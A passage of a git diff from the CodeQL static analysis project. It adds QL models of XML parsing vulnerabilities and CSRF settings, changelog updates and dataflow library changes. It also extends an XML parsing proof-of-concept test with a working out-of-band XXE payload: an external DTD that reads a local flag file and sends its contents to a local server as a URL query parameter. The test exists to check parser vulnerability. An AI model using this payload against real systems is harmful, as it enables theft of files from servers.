+            build_file = "@%s//swift/tools/prebuilt:BUILD.swift-prebuilt.bazel" % repository_name,
             sha256 = sha256,
         )
 
@@ -55,4 +55,3 @@ def codeql_workspace(repository_name = "codeql"):
             "https://github.com/bazelbuild/rules_python/archive/refs/tags/0.8.1.tar.gz",
         ],
     )
-
diff --git a/python/PoCs/README.md b/python/PoCs/README.md
new file mode 100644
index 00000000000..20eeb5dbd78
--- /dev/null
+++ b/python/PoCs/README.md
@@ -0,0 +1 @@
+A place to collect proof of concept for how certain vulnerabilities work.
diff --git a/python/ql/test/experimental/library-tests/frameworks/XML/poc/PoC.py b/python/PoCs/XmlParsing/PoC.py
similarity index 93%
rename from python/ql/test/experimental/library-tests/frameworks/XML/poc/PoC.py
rename to python/PoCs/XmlParsing/PoC.py
index adcace1aa0a..a4de65084ae 100644
--- a/python/ql/test/experimental/library-tests/frameworks/XML/poc/PoC.py
+++ b/python/PoCs/XmlParsing/PoC.py
@@ -70,6 +70,14 @@ dtd_retrieval = f"""<?xml version="1.0"?>
 <foo>bar</foo>
 """
 
+exfiltrate_through_dtd_retrieval = f"""<?xml version="1.0"?>
+<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://{HOST}:{PORT}/exfiltrate-through.dtd"> %xxe; ]>
+"""
+
+predefined_entity_xml = """<?xml version="1.0"?>
+<test>&lt;</test>
+"""
+
 # ==============================================================================
 # other setup
 
@@ -95,6 +103,22 @@ def test_xxe():
     hit_xxe = True
     return "ok"
 
+@app.route("/exfiltrate-through.dtd")
+def exfiltrate_through_dtd():
+    return f"""<!ENTITY % file SYSTEM "file://{FLAG_PATH}">
+<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://{HOST}:{PORT}/exfiltrate-data?data=%file;'>">
+%eval;
+%exfiltrate;
+    """
+
+exfiltrated_data = None
+@app.route("/exfiltrate-data")
+def exfiltrate_data():
+    from flask import request
+    global exfiltrated_data
+    exfiltrated_data = request.args["data"]
+    return "ok"
+
 def run_app():
     app.run(host=HOST, port=PORT)
 
@@ -346,7 +370,7 @@ class TestLxml:
         parser = lxml.etree.XMLParser()
         root = lxml.etree.fromstring(local_xxe, parser=parser)
         assert root.tag == "test"
-        assert root.text == "SECRET_FLAG\n", root.text
+        assert root.text == "SECRET_FLAG", root.text
 
     @staticmethod
     def test_local_xxe_disabled():
@@ -361,11 +385,7 @@ class TestLxml:
         hit_xxe = False
 
         parser = lxml.etree.XMLParser()
-        try:
-            root = lxml.etree.fromstring(remote_xxe, parser=parser)
-            assert False
-        except lxml.etree.XMLSyntaxError as e:
-            assert "Failure to process entity remote_xxe" in str(e)
+        root = lxml.etree.fromstring(remote_xxe, parser=parser)
         assert hit_xxe == False
 
     @staticmethod
@@ -416,6 +436,23 @@ class TestLxml:
             pass
         assert hit_dtd == False
 
+    @staticmethod
+    def test_exfiltrate_through_dtd():
+        # note that this only works when the data to exfiltrate does not contain a newline :|
+        global exfiltrated_data
+        exfiltrated_data = None
+        parser = lxml.etree.XMLParser(load_dtd=True, no_network=False)
+        with pytest.raises(lxml.etree.XMLSyntaxError):
+            lxml.etree.fromstring(exfiltrate_through_dtd_retrieval, parser=parser)
+
+        assert exfiltrated_data == "SECRET_FLAG"
+
+    @staticmethod
+    def test_predefined_entity():
+        parser = lxml.etree.XMLParser(resolve_entities=False)
+        root = lxml.etree.fromstring(predefined_entity_xml, parser=parser)
+        assert root.tag == "test"
+        assert root.text == "<"
 
 # ==============================================================================
 
diff --git a/python/PoCs/XmlParsing/flag b/python/PoCs/XmlParsing/flag
new file mode 100644
index 00000000000..b8bd6838774
--- /dev/null
+++ b/python/PoCs/XmlParsing/flag
@@ -0,0 +1 @@
+SECRET_FLAG
\ No newline at end of file
diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md
index 1eb7cdddbae..8734a5f89ef 100644
--- a/python/ql/lib/CHANGELOG.md
+++ b/python/ql/lib/CHANGELOG.md
@@ -1,3 +1,20 @@
+## 0.3.0
+
+### Breaking Changes
+
+* The imports made available from `import python` are no longer exposed under `DataFlow::` after doing `import semmle.python.dataflow.new.DataFlow`, for example using `DataFlow::Add` will now cause a compile error.
+
+### Minor Analysis Improvements
+
+* The modeling of `request.files` in Flask has been fixed, so we now properly handle assignments to local variables (such as `files = request.files; files['key'].filename`).
+* Added taint propagation for `io.StringIO` and `io.BytesIO`. This addition was originally [submitted as part of an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
+
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
+
 ## 0.1.0
 
 ### Breaking Changes
diff --git a/python/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md b/python/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
deleted file mode 100644
index 4164b4d4b81..00000000000
--- a/python/ql/lib/change-notes/2022-04-25-allow-implicit-read-signature.md
+++ /dev/null
@@ -1,4 +0,0 @@
----
-category: breaking
----
-The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
\ No newline at end of file
diff --git a/python/ql/lib/change-notes/2022-05-12-moduleimport-disallow-dots.md b/python/ql/lib/change-notes/2022-05-12-moduleimport-disallow-dots.md
new file mode 100644
index 00000000000..23678871c79
--- /dev/null
+++ b/python/ql/lib/change-notes/2022-05-12-moduleimport-disallow-dots.md
@@ -0,0 +1,4 @@
+---
+category: breaking
+---
+`API::moduleImport` no longer has any results for dotted names, such as `API::moduleImport("foo.bar")`. Using `API::moduleImport("foo.bar").getMember("baz").getACall()` previously worked if the Python code was `from foo.bar import baz; baz()`, but not if the code was `import foo.bar; foo.bar.baz()` -- we are making this change to ensure the approach that can handle all cases is always used.
diff --git a/python/ql/lib/change-notes/released/0.2.0.md b/python/ql/lib/change-notes/released/0.2.0.md
new file mode 100644
index 00000000000..7ccf56ddd47
--- /dev/null
+++ b/python/ql/lib/change-notes/released/0.2.0.md
@@ -0,0 +1,5 @@
+## 0.2.0
+
+### Breaking Changes
+
+* The signature of `allowImplicitRead` on `DataFlow::Configuration` and `TaintTracking::Configuration` has changed from `allowImplicitRead(DataFlow::Node node, DataFlow::Content c)` to `allowImplicitRead(DataFlow::Node node, DataFlow::ContentSet c)`.
diff --git a/python/ql/lib/change-notes/released/0.3.0.md b/python/ql/lib/change-notes/released/0.3.0.md
new file mode 100644
index 00000000000..15455199e89
--- /dev/null
+++ b/python/ql/lib/change-notes/released/0.3.0.md
@@ -0,0 +1,10 @@
+## 0.3.0
+
+### Breaking Changes
+
+* The imports made available from `import python` are no longer exposed under `DataFlow::` after doing `import semmle.python.dataflow.new.DataFlow`, for example using `DataFlow::Add` will now cause a compile error.
+
+### Minor Analysis Improvements
+
+* The modeling of `request.files` in Flask has been fixed, so we now properly handle assignments to local variables (such as `files = request.files; files['key'].filename`).
+* Added taint propagation for `io.StringIO` and `io.BytesIO`. This addition was originally [submitted as part of an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml
index 2e08f40f6aa..95f6e3a0ba6 100644
--- a/python/ql/lib/codeql-pack.release.yml
+++ b/python/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.3.0
diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml
index 2a7c3cbbb9f..3e239436c03 100644
--- a/python/ql/lib/qlpack.yml
+++ b/python/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/python-all
-version: 0.1.1-dev
+version: 0.3.1-dev
 groups: python
 dbscheme: semmlecode.python.dbscheme
 extractor: python
diff --git a/python/ql/lib/semmle/python/ApiGraphs.qll b/python/ql/lib/semmle/python/ApiGraphs.qll
index 5c848fcb69e..973e1ea85fa 100644
--- a/python/ql/lib/semmle/python/ApiGraphs.qll
+++ b/python/ql/lib/semmle/python/ApiGraphs.qll
@@ -280,7 +280,13 @@ module API {
    * you should use `.getMember` on the parent module. For example, for nodes corresponding to the module `foo.bar`,
    * use `moduleImport("foo").getMember("bar")`.
    */
-  Node moduleImport(string m) { result = Impl::MkModuleImport(m) }
+  Node moduleImport(string m) {
+    result = Impl::MkModuleImport(m) and
+    // restrict `moduleImport` so it will never give results for a dotted name. Note
+    // that we cannot move this logic to the `MkModuleImport` construction, since we
+    // need the intermediate API graph nodes for the prefixes in `import foo.bar.baz`.
+    not m.matches("%.%")
+  }
 
   /** Gets a node corresponding to the built-in with the given name, if any. */
   Node builtin(string n) { result = moduleImport("builtins").getMember(n) }
diff --git a/python/ql/lib/semmle/python/Concepts.qll b/python/ql/lib/semmle/python/Concepts.qll
index dc461861ace..6b0467f4b41 100644
--- a/python/ql/lib/semmle/python/Concepts.qll
+++ b/python/ql/lib/semmle/python/Concepts.qll
@@ -498,6 +498,65 @@ module XML {
       abstract string getName();
     }
   }
+
+  /**
+   * A kind of XML vulnerability.
+   *
+   * See overview of kinds at https://pypi.org/project/defusedxml/#python-xml-libraries
+   *
+   * See PoC at `python/PoCs/XmlParsing/PoC.py` for some tests of vulnerable XML parsing.
+   */
+  class XmlParsingVulnerabilityKind extends string {
+    XmlParsingVulnerabilityKind() { this in ["XML bomb", "XXE", "DTD retrieval"] }
+
+    /**
+     * Holds for XML bomb vulnerability kind, such as 'Billion Laughs' and 'Quadratic
+     * Blowup'.
+     *
+     * While a parser could technically be vulnerable to one and not the other, from our
+     * point of view the interesting part is that it IS vulnerable to these types of
+     * attacks, and not so much which one specifically works. In practice I haven't seen
+     * a parser that is vulnerable to one and not the other.
+     */
+    predicate isXmlBomb() { this = "XML bomb" }
+
+    /** Holds for XXE vulnerability kind. */
+    predicate isXxe() { this = "XXE" }
+
+    /** Holds for DTD retrieval vulnerability kind. */
+    predicate isDtdRetrieval() { this = "DTD retrieval" }
+  }
+
+  /**
+   * A data-flow node that parses XML.
+   *
+   * Extend this class to model new APIs. If you want to refine existing API models,
+   * extend `XmlParsing` instead.
+   */
+  class XmlParsing extends Decoding instanceof XmlParsing::Range {
+    /**
+     * Holds if this XML parsing is vulnerable to `kind`.
+     */
+    predicate vulnerableTo(XmlParsingVulnerabilityKind kind) { super.vulnerableTo(kind) }
+  }
+
+  /** Provides classes for modeling XML parsing APIs. */
+  module XmlParsing {
+    /**
+     * A data-flow node that parses XML.
+     *
+     * Extend this class to model new APIs. If you want to refine existing API models,
+     * extend `XmlParsing` instead.
+     */
+    abstract class Range extends Decoding::Range {
+      /**
+       * Holds if this XML parsing is vulnerable to `kind`.
+       */
+      abstract predicate vulnerableTo(XmlParsingVulnerabilityKind kind);
+
+      override string getFormat() { result = "XML" }
+    }
+  }
 }
 
 /** Provides classes for modeling LDAP-related APIs. */
@@ -910,6 +969,76 @@ module HTTP {
         abstract DataFlow::Node getValueArg();
       }
     }
+
+    /**
+     * A data-flow node that enables or disables Cross-site request forgery protection
+     * in a global manner.
+     *
+     * Extend this class to refine existing API models. If you want to model new APIs,
+     * extend `CsrfProtectionSetting::Range` instead.
+     */
+    class CsrfProtectionSetting extends DataFlow::Node instanceof CsrfProtectionSetting::Range {
+      /**
+       * Gets the boolean value corresponding to if CSRF protection is enabled
+       * (`true`) or disabled (`false`) by this node.
+       */
+      boolean getVerificationSetting() { result = super.getVerificationSetting() }
+    }
+
+    /** Provides a class for modeling new CSRF protection setting APIs. */
+    module CsrfProtectionSetting {
+      /**
+       * A data-flow node that enables or disables Cross-site request forgery protection
+       * in a global manner.
+       *
+       * Extend this class to model new APIs. If you want to refine existing API models,
+       * extend `CsrfProtectionSetting` instead.
+       */
+      abstract class Range extends DataFlow::Node {
+        /**
+         * Gets the boolean value corresponding to if CSRF protection is enabled
+         * (`true`) or disabled (`false`) by this node.
+         */
+        abstract boolean getVerificationSetting();
+      }
+    }
+
+    /**
+     * A data-flow node that enables or disables Cross-site request forgery protection
+     * for a specific part of an application.
+     *
+     * Extend this class to refine existing API models. If you want to model new APIs,
+     * extend `CsrfLocalProtectionSetting::Range` instead.
+     */
+    class CsrfLocalProtectionSetting extends DataFlow::Node instanceof CsrfLocalProtectionSetting::Range {
+      /**
+       * Gets a request handler whose CSRF protection is changed.
+       */
+      Function getRequestHandler() { result = super.getRequestHandler() }
+
+      /** Holds if CSRF protection is enabled by this setting */
+      predicate csrfEnabled() { super.csrfEnabled() }
+    }
+
+    /** Provides a class for modeling new CSRF protection setting APIs. */
+    module CsrfLocalProtectionSetting {
+      /**
+       * A data-flow node that enables or disables Cross-site request forgery protection
+       * for a specific part of an application.
+       *
+       * Extend this class to model new APIs. If you want to refine existing API models,
+       * extend `CsrfLocalProtectionSetting` instead.
+       */
+      abstract class Range extends DataFlow::Node {
+        /**
+         * Gets a request handler whose CSRF protection is changed.
+         */
+        abstract Function getRequestHandler();
+
+        /** Holds if CSRF protection is enabled by this setting */
+        abstract predicate csrfEnabled();
+      }
+    }
   }
 
   /** Provides classes for modeling HTTP clients. */
diff --git a/python/ql/lib/semmle/python/Flow.qll b/python/ql/lib/semmle/python/Flow.qll
index 4805a63cc48..ce886151135 100755
--- a/python/ql/lib/semmle/python/Flow.qll
+++ b/python/ql/lib/semmle/python/Flow.qll
@@ -363,7 +363,7 @@ class CallNode extends ControlFlowNode {
     )
   }
 
-  /** Gets the flow node corresponding to the nth argument of the call corresponding to this flow node */
+  /** Gets the flow node corresponding to the n'th positional argument of the call corresponding to this flow node */
   ControlFlowNode getArg(int n) {
     exists(Call c |
       this.getNode() = c and
diff --git a/python/ql/lib/semmle/python/Frameworks.qll b/python/ql/lib/semmle/python/Frameworks.qll
index b94b8aee5d9..4812628d262 100644
--- a/python/ql/lib/semmle/python/Frameworks.qll
+++ b/python/ql/lib/semmle/python/Frameworks.qll
@@ -52,3 +52,4 @@ private import semmle.python.frameworks.Ujson
 private import semmle.python.frameworks.Urllib3
 private import semmle.python.frameworks.Yaml
 private import semmle.python.frameworks.Yarl
+private import semmle.python.frameworks.Xmltodict
diff --git a/python/ql/lib/semmle/python/Import.qll b/python/ql/lib/semmle/python/Import.qll
index cd62001b41e..c75ef9f0c91 100644
--- a/python/ql/lib/semmle/python/Import.qll
+++ b/python/ql/lib/semmle/python/Import.qll
@@ -184,7 +184,7 @@ class Import extends Import_ {
    * For example, for the import statement `import bar` which
    * is a relative import in package "foo", this would return
    * "foo.bar".
-   * The import statment `from foo import bar` would return
+   * The import statement `from foo import bar` would return
    * `foo` and `foo.bar`
    */
   string getAnImportedModuleName() {
diff --git a/python/ql/lib/semmle/python/SpecialMethods.qll b/python/ql/lib/semmle/python/SpecialMethods.qll
index afa9367c269..eb960005f4d 100644
--- a/python/ql/lib/semmle/python/SpecialMethods.qll
+++ b/python/ql/lib/semmle/python/SpecialMethods.qll
@@ -8,7 +8,7 @@
  * Extend `SpecialMethod::Potential` to capture more cases.
  */
 
-import python
+private import python
 
 /** A control flow node which might correspond to a special method call. */
 class PotentialSpecialMethodCallNode extends ControlFlowNode {
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/Attributes.qll b/python/ql/lib/semmle/python/dataflow/new/internal/Attributes.qll
index 8782425b293..d40e06ce6d7 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/Attributes.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/Attributes.qll
@@ -92,6 +92,32 @@ private class AttributeAssignmentAsAttrWrite extends AttrWrite, CfgNode {
   override string getAttributeName() { result = node.getName() }
 }
 
+/**
+ * An attribute assignment where the object is a global variable: `global_var.attr = value`.
+ *
+ * Syntactically, this is identical to the situation that is covered by
+ * `AttributeAssignmentAsAttrWrite`, however in this case we want to behave as if the object that is
+ * being written is the underlying `ModuleVariableNode`.
+ */
+private class GlobalAttributeAssignmentAsAttrWrite extends AttrWrite, CfgNode {
+  override AttributeAssignmentNode node;
+
+  override Node getValue() { result.asCfgNode() = node.getValue() }
+
+  override Node getObject() {
+    result.(ModuleVariableNode).getVariable() = node.getObject().getNode().(Name).getVariable()
+  }
+
+  override ExprNode getAttributeNameExpr() {
+    // Attribute names don't exist as `Node`s in the control flow graph, as they can only ever be
+    // identifiers, and are therefore represented directly as strings.
+    // Use `getAttributeName` to access the name of the attribute.
+    none()
+  }
+
+  override string getAttributeName() { result = node.getName() }
+}
+
 /** Represents `CallNode`s that may refer to calls to built-in functions or classes. */
 private class BuiltInCallNode extends CallNode {
   string name;
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatchPointsTo.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatchPointsTo.qll
index 6564d4dc62e..1d50a12364f 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatchPointsTo.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowDispatchPointsTo.qll
@@ -172,7 +172,7 @@ module ArgumentPassing {
   /**
    * Gets the node representing the argument to `call` that is passed to the parameter at
    * (zero-based) index `paramN` in `callable`. If this is a positional argument, it must appear
-   * at an index, `argN`, in `call` wich satisfies `paramN = mapping.getParamN(argN)`.
+   * at an index, `argN`, in `call` which satisfies `paramN = mapping.getParamN(argN)`.
    *
    * `mapping` will be the identity for function calls, but not for method- or constructor calls,
    * where the first parameter is `self` and the first positional argument is passed to the second positional parameter.
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl2.qll b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl2.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl2.qll
+++ b/python/ql/lib/semmle/python/dataflow/new/internal/DataFlowImpl2.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
